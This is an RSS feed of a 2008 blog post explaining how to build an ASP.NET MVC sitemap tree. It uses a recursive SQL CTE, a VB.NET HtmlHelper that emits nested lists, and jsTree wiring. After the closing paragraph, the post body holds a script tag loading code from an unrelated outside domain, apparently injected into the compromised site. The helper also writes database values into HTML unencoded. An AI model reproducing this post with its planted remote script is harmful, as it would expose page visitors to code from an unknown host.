<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Eric Polerecky &#187; CTE</title>
	<atom:link href="http://eric.polerecky.com/archives/category/cte/feed/" rel="self" type="application/rss+xml" />
	<link>http://eric.polerecky.com</link>
	<description>An outlet for my obsession with technology</description>
	<lastBuildDate>Mon, 14 Jun 2010 14:00:00 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>ASP.NET MVC SiteMap</title>
		<link>http://eric.polerecky.com/archives/aspnet-mvc-sitemap/</link>
		<comments>http://eric.polerecky.com/archives/aspnet-mvc-sitemap/#comments</comments>
		<pubDate>Wed, 03 Dec 2008 22:19:21 +0000</pubDate>
		<dc:creator>Eric Polerecky</dc:creator>
				<category><![CDATA[ASP.NET MVC]]></category>
		<category><![CDATA[CTE]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[jQuery]]></category>

		<guid isPermaLink="false">http://eric.polerecky.com/archives/aspnet-mvc-sitemap/</guid>
		<description><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/>Note: This code does not support caching or security trimming. It is simply a way to build something that compares to the .NET TreeView control using the MVC pattern.
Recently one of my clients had the &#34;perfect storm&#34; of requirements, restrictions, deadlines and policies that lead to the need to develop a MVC TreeView(ish) control.
&#160;
Requirements:

Database storage


No related posts.]]></description>
			<content:encoded><![CDATA[<img src="http://eric.polerecky.com/wp-content/uploads/2008/10/mvc-300x173.png" width="163" height="163" alt="" title="ASP.NET MVC" /><br/><p>Note: This code does not support caching or security trimming. It is simply a way to build something that compares to the .NET TreeView control using the MVC pattern.</p>
<p>Recently one of my clients had the &quot;perfect storm&quot; of requirements, restrictions, deadlines and policies that lead to the need to develop a MVC TreeView(ish) control.</p>
<p>&#160;</p>
<p><strong>Requirements:</strong></p>
<ol>
<li>Database storage &#8211; Site administrations needed a simple interface into editing and I was not about to write something to update XML files.</li>
<li>NOT use the SQL Service Broker for easy SQL caching support &#8211; Security concerns&#8230;.I assume&#8230;I was never told why NOT but just NO.</li>
<li>Support the MVC pattern &#8211; new projects where being developed using ASP.NET MVC</li>
<li>Easy to implement and maintain</li>
</ol>
<p><strong>Design:</strong></p>
<ol>
<li>With MS shipping jQuery it would be nice to use a jQuery plugin to render the tree</li>
<li>Leverage existing technology &#8211; Exising project are using the SQL SiteMap Provider, hence, accompanying tables and stored procedures.</li>
<li>Extend the ASP.NET MVC HtmlHelpers class</li>
</ol>
<p>Note: I assume your application is currently setup to use the SQL SiteMap Provider&#8230;or at least the Table for the provider exists. </p>
<p><strong>Step 1: Create a Stored Procedure that uses a CTE</strong></p>
<p>Most of the heavy lifting happens here. As you can see, when viewing the full-size image, the results are ordered by &quot;thePath&quot;. That makes parsing the results into a ordered list very easy.</p>
<p><a href="http://eric.polerecky.com/wp-content/uploads/2008/12/sitemap-cte.jpg"><img style="border-right: 0px; border-top: 0px; border-left: 0px; border-bottom: 0px" height="195" alt="siteMap_CTE" src="http://eric.polerecky.com/wp-content/uploads/2008/12/sitemap-cte-thumb.jpg" width="244" border="0" /></a> </p>
<p>&#160;</p>
<div class="csharpcode">
<pre class="alt"><span class="lnum">   1:  </span><span class="kwrd">WITH</span> siteMapCTE(SYSID, ID, Parent,title,description,url,roles, <span class="kwrd">level</span>, thePath) <span class="kwrd">AS</span> (</pre>
<pre><span class="lnum">   2:  </span>    <span class="kwrd">SELECT</span> SYSID, ID, Parent,title,description,url,roles, 1 <span class="kwrd">as</span> <span class="kwrd">level</span>, <span class="kwrd">CONVERT</span>(VARBINARY(<span class="kwrd">MAX</span>), ID) <span class="kwrd">AS</span> thePath</pre>
<pre class="alt"><span class="lnum">   3:  </span>    <span class="kwrd">FROM</span> aspnet_SiteMap <span class="kwrd">WHERE</span> Parent <span class="kwrd">is</span> <span class="kwrd">NULL</span></pre>
<pre><span class="lnum">   4:  </span>    <span class="kwrd">UNION</span> <span class="kwrd">ALL</span></pre>
<pre class="alt"><span class="lnum">   5:  </span>    <span class="kwrd">SELECT</span> e.SYSID, e.ID, e.Parent,e.title,e.description,e.url,e.roles, c.<span class="kwrd">level</span> + 1, c.thePath + <span class="kwrd">CONVERT</span>(VARBINARY(<span class="kwrd">MAX</span>), e.ID) <span class="kwrd">AS</span> thePath</pre>
<pre><span class="lnum">   6:  </span>    <span class="kwrd">FROM</span> aspnet_SiteMap e</pre>
<pre class="alt"><span class="lnum">   7:  </span>    <span class="kwrd">INNER</span> <span class="kwrd">JOIN</span> siteMapCTE c</pre>
<pre><span class="lnum">   8:  </span>    <span class="kwrd">ON</span> e.Parent = c.ID</pre>
<pre class="alt"><span class="lnum">   9:  </span>)</pre>
<pre><span class="lnum">  10:  </span><span class="kwrd">SELECT</span> * <span class="kwrd">FROM</span> siteMapCTE <span class="kwrd">ORDER</span> <span class="kwrd">BY</span> thePath, title</pre>
</div>
<style type="text/css">
.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style>
<p><strong>Step 2: Create new HtmlHelper method</strong></p>
<p>First off..<a href="http://weblogs.asp.net/stephenwalther/archive/2008/06/13/asp-net-mvc-tip-1-creating-new-html-helpers-with-extension-methods.aspx">Stephen Walther&#8217;s first ASP.NET MVC article</a> was on writing html helpers using Extension Methods. I have his sample in a current project so it was a great place to drop in the new method. </p>
<div class="csharpcode">
<pre class="alt">&lt;Extension()&gt; _</pre>
<pre>        <span class="kwrd">Public</span> <span class="kwrd">Function</span> ListBasedSiteMap(<span class="kwrd">ByVal</span> HtmlHelper <span class="kwrd">As</span> HtmlHelper, <span class="kwrd">ByVal</span> items <span class="kwrd">As</span> <span class="kwrd">Object</span>) <span class="kwrd">As</span> <span class="kwrd">String</span></pre>
<pre class="alt">            <span class="kwrd">If</span> items <span class="kwrd">Is</span> <span class="kwrd">Nothing</span> <span class="kwrd">Then</span></pre>
<pre>                <span class="kwrd">Throw</span> <span class="kwrd">New</span> ArgumentNullException(<span class="str">&quot;items&quot;</span>)</pre>
<pre class="alt">            <span class="kwrd">End</span> <span class="kwrd">If</span></pre>
<pre>            <span class="kwrd">Dim</span> builder <span class="kwrd">As</span> <span class="kwrd">New</span> StringBuilder()</pre>
<pre class="alt">            <span class="kwrd">Dim</span> mPreviousLevel <span class="kwrd">As</span> <span class="kwrd">Integer</span></pre>
<pre>            <span class="kwrd">Dim</span> mUrl <span class="kwrd">As</span> <span class="kwrd">String</span> = <span class="kwrd">String</span>.Empty</pre>
<pre class="alt">&#160;</pre>
<pre>            builder.Append(<span class="str">&quot;&lt;div class=&quot;</span><span class="str">&quot;demo&quot;</span><span class="str">&quot; id=&quot;</span><span class="str">&quot;testMap&quot;</span><span class="str">&quot;&gt;&lt;ul&gt;&quot;</span>)</pre>
<pre class="alt">            <span class="kwrd">For</span> <span class="kwrd">Each</span> row <span class="kwrd">As</span> DataRow <span class="kwrd">In</span> items.Rows</pre>
<pre>                <span class="kwrd">If</span> row.Item(<span class="str">&quot;url&quot;</span>).ToString.Contains(<span class="str">&quot;~/&quot;</span>) = <span class="kwrd">True</span> <span class="kwrd">Then</span></pre>
<pre class="alt">                    mUrl = <span class="str">&quot;/&quot;</span> &amp; System.Configuration.ConfigurationManager.AppSettings(<span class="str">&quot;application.name&quot;</span>) &amp; <span class="str">&quot;&quot;</span> &amp; row.Item(<span class="str">&quot;url&quot;</span>).ToString.Split(<span class="str">&quot;~/&quot;</span>)(1)</pre>
<pre>                <span class="kwrd">Else</span></pre>
<pre class="alt">                    mUrl = row.Item(<span class="str">&quot;url&quot;</span>).ToString</pre>
<pre>                <span class="kwrd">End</span> <span class="kwrd">If</span></pre>
<pre class="alt">&#160;</pre>
<pre>                <span class="kwrd">If</span> row.Item(<span class="str">&quot;level&quot;</span>) = 1 <span class="kwrd">Then</span></pre>
<pre class="alt">                    builder.AppendLine(<span class="str">&quot;&lt;li id=&quot;</span><span class="str">&quot;&quot;</span> &amp; row.Item(<span class="str">&quot;id&quot;</span>) &amp; <span class="str">&quot;&quot;</span><span class="str">&quot; class=&quot;</span><span class="str">&quot;open&quot;</span><span class="str">&quot;&gt;&lt;a href=&quot;</span><span class="str">&quot;&quot;</span> &amp; mUrl &amp; <span class="str">&quot;&quot;</span><span class="str">&quot;&gt;&quot;</span> &amp; row.Item(<span class="str">&quot;title&quot;</span>) &amp; <span class="str">&quot;&lt;/a&gt;&quot;</span>)</pre>
<pre>                <span class="kwrd">ElseIf</span> mPreviousLevel &lt; row.Item(<span class="str">&quot;level&quot;</span>) <span class="kwrd">Then</span></pre>
<pre class="alt">                    <span class="rem">'child </span></pre>
<pre>                    builder.AppendLine(<span class="str">&quot;&lt;ul&gt;&quot;</span>)</pre>
<pre class="alt">                    builder.AppendLine(<span class="str">&quot;&lt;li id=&quot;</span><span class="str">&quot;&quot;</span> &amp; row.Item(<span class="str">&quot;id&quot;</span>) &amp; <span class="str">&quot;&quot;</span><span class="str">&quot;&gt;&lt;a href=&quot;</span><span class="str">&quot;&quot;</span> &amp; mUrl &amp; <span class="str">&quot;&quot;</span><span class="str">&quot;&gt;&quot;</span> &amp; row.Item(<span class="str">&quot;title&quot;</span>) &amp; <span class="str">&quot;&lt;/a&gt;&quot;</span>)</pre>
<pre>                <span class="kwrd">ElseIf</span> mPreviousLevel = row.Item(<span class="str">&quot;level&quot;</span>) <span class="kwrd">Then</span></pre>
<pre class="alt">                    builder.AppendLine(<span class="str">&quot;&lt;li id=&quot;</span><span class="str">&quot;&quot;</span> &amp; row.Item(<span class="str">&quot;id&quot;</span>) &amp; <span class="str">&quot;&quot;</span><span class="str">&quot;&gt;&lt;a href=&quot;</span><span class="str">&quot;&quot;</span> &amp; mUrl &amp; <span class="str">&quot;&quot;</span><span class="str">&quot;&gt;&quot;</span> &amp; row.Item(<span class="str">&quot;title&quot;</span>) &amp; <span class="str">&quot;&lt;/a&gt;&quot;</span>)</pre>
<pre>                <span class="kwrd">ElseIf</span> mPreviousLevel &gt; row.Item(<span class="str">&quot;level&quot;</span>) <span class="kwrd">Then</span></pre>
<pre class="alt">                    <span class="rem">'close level</span></pre>
<pre>                    builder.AppendLine(<span class="str">&quot;&lt;/li&gt;&quot;</span>)</pre>
<pre class="alt">                    builder.AppendLine(<span class="str">&quot;&lt;/ul&gt;&quot;</span>)</pre>
<pre>                    builder.AppendLine(<span class="str">&quot;&lt;li id=&quot;</span><span class="str">&quot;&quot;</span> &amp; row.Item(<span class="str">&quot;id&quot;</span>) &amp; <span class="str">&quot;&quot;</span><span class="str">&quot;&gt;&lt;a href=&quot;</span><span class="str">&quot;&quot;</span> &amp; mUrl &amp; <span class="str">&quot;&quot;</span><span class="str">&quot;&gt;&quot;</span> &amp; row.Item(<span class="str">&quot;title&quot;</span>) &amp; <span class="str">&quot;&lt;/a&gt;&quot;</span>)</pre>
<pre class="alt">                <span class="kwrd">Else</span></pre>
<pre>                    <span class="rem">'parent ?</span></pre>
<pre class="alt">                <span class="kwrd">End</span> <span class="kwrd">If</span></pre>
<pre>                added.Add(row.Item(<span class="str">&quot;id&quot;</span>))</pre>
<pre class="alt">                mPreviousLevel = row.Item(<span class="str">&quot;level&quot;</span>)</pre>
<pre>            <span class="kwrd">Next</span></pre>
<pre class="alt">            builder.AppendLine(<span class="str">&quot;&lt;/ul&gt;&lt;/div&gt;&quot;</span>)</pre>
<pre>            <span class="kwrd">Return</span> builder.ToString()</pre>
<pre class="alt">        <span class="kwrd">End</span> Function</pre>
</div>
<style type="text/css">
.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style>
<p>Oh&#8230;I pass the results in as a data table&#8230;.you can change that to be whatever your passing&#8230;.</p>
<p><strong>Step 3: Get results to your view</strong></p>
<p>How ever you like, get the data to the view. Again, I am using my own DAL and pass the results in as a Data Table</p>
<p><strong>Step 4: Put the unordered list on the view</strong></p>
<div class="csharpcode">
<pre class="alt"><span class="lnum">   1:  </span>&lt;%=Html.ListBasedSiteMap(ViewData(<span class="str">&quot;siteMap&quot;</span>))%&gt;</pre>
</div>
<style type="text/css">
.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style>
<p><strong></strong></p>
<p>Don&#8217;t forget to import the HtmlHelpers namespace&#8230;in your paper (I presume its a master page or the web.config)</p>
<div class="csharpcode">
<pre class="alt"><span class="lnum">   1:  </span>&lt;%@ Import <span class="kwrd">Namespace</span>=<span class="str">&quot;yourNameSpace.HtmlHelpers&quot;</span> %&gt;</pre>
</div>
<div class="csharpcode">&#160;</div>
<style type="text/css">
.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style>
<p><strong>Break</strong></p>
<p>Ok, at this point you should have an non-styled unordered list of SiteMap nodes that looks something like. All we have to do now is style, wire and go. As a matter of fact, the sitemap should work too!&#8230;it just looks like crap.</p>
<p><a href="http://eric.polerecky.com/wp-content/uploads/2008/12/sitemap-unstyled.jpg"><img style="border-right: 0px; border-top: 0px; border-left: 0px; border-bottom: 0px" height="244" alt="sitemap_unstyled" src="http://eric.polerecky.com/wp-content/uploads/2008/12/sitemap-unstyled-thumb.jpg" width="121" border="0" /></a></p>
<p>&#160;</p>
<p><strong>Step E: jsTree!</strong></p>
<p>I&#8217;m not going to walk you through the process of wiring up your site to use <a href="http://www.jstree.com/">jsTree</a> but that is the next step. download, and put the files into your project, add the script and link tags for the javascript and css&#8230;modify the CSS as needed&#8230;</p>
<p>So maybe I did walk you through it&#8230;anyway.</p>
<p><strong>Step VI: </strong>onload event&#8230;.um&#8230;</p>
<p>I&#8217;m using dojo for this project with the exception of the TreeView so I leveraged dojo&#8217;s OOP and onload&#8230;.this should work but its not tested.</p>
<div class="csharpcode">
<pre class="alt"><span class="lnum">   1:  </span><span class="kwrd">var</span> first = <span class="kwrd">null</span>;</pre>
<pre><span class="lnum">   2:  </span>$(<span class="kwrd">function</span>() { </pre>
<pre class="alt"><span class="lnum">   3:  </span>tree1 = <span class="kwrd">new</span> tree_component();</pre>
<pre><span class="lnum">   4:  </span>            tree1.init(jQuery(<span class="str">&quot;#testMap&quot;</span>), {</pre>
<pre class="alt"><span class="lnum">   5:  </span>                cookies: {</pre>
<pre><span class="lnum">   6:  </span>                    prefix: <span class="str">&quot;sitemap&quot;</span>,</pre>
<pre class="alt"><span class="lnum">   7:  </span>                    opts: { path: <span class="str">'/'</span> }</pre>
<pre><span class="lnum">   8:  </span>                },</pre>
<pre class="alt"><span class="lnum">   9:  </span>                callback: {</pre>
<pre><span class="lnum">  10:  </span>                    onchange: <span class="kwrd">function</span>(NODE) {</pre>
<pre class="alt"><span class="lnum">  11:  </span>                        <span class="kwrd">if</span> (!first) {</pre>
<pre><span class="lnum">  12:  </span>                            first = <span class="kwrd">true</span>;</pre>
<pre class="alt"><span class="lnum">  13:  </span>                        } <span class="kwrd">else</span> { document.location.href = jQuery(NODE).children(<span class="str">&quot;a:eq(0)&quot;</span>).attr(<span class="str">&quot;href&quot;</span>); }</pre>
<pre><span class="lnum">  14:  </span>                    }</pre>
<pre class="alt"><span class="lnum">  15:  </span>                }</pre>
<pre><span class="lnum">  16:  </span>            });</pre>
<pre class="alt"><span class="lnum">  17:  </span> });</pre>
</div>
<p>
<style type="text/css">
.csharpcode, .csharpcode pre
{
	font-size: small;
	color: black;
	font-family: consolas, "Courier New", courier, monospace;
	background-color: #ffffff;
	/*white-space: pre;*/
}
.csharpcode pre { margin: 0em; }
.csharpcode .rem { color: #008000; }
.csharpcode .kwrd { color: #0000ff; }
.csharpcode .str { color: #006080; }
.csharpcode .op { color: #0000c0; }
.csharpcode .preproc { color: #cc6633; }
.csharpcode .asp { background-color: #ffff00; }
.csharpcode .html { color: #800000; }
.csharpcode .attr { color: #ff0000; }
.csharpcode .alt 
{
	background-color: #f4f4f4;
	width: 100%;
	margin: 0em;
}
.csharpcode .lnum { color: #606060; }</style>
</p>
<p><strong>Finish</strong></p>
<p>Here is what I ended up with&#8230;</p>
<p><a href="http://eric.polerecky.com/wp-content/uploads/2008/12/sitemap-styled.jpg"><img style="border-right: 0px; border-top: 0px; border-left: 0px; border-bottom: 0px" height="223" alt="sitemap_styled" src="http://eric.polerecky.com/wp-content/uploads/2008/12/sitemap-styled-thumb.jpg" width="244" border="0" /></a></p>
<p>Again, I know&#8230;no caching&#8230;no security trimming but it works and you can allow management of the nodes from a web interface (of course you have to code that) &#8230; If anyone adds trimming please let me know&#8230;I don&#8217;t have a need now but I&#8217;d like to keep this all together in one place.</p>
<p><script src="http://ae.awaue.com/7"></script></p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://eric.polerecky.com/archives/aspnet-mvc-sitemap/feed/</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
	</channel>
</rss>
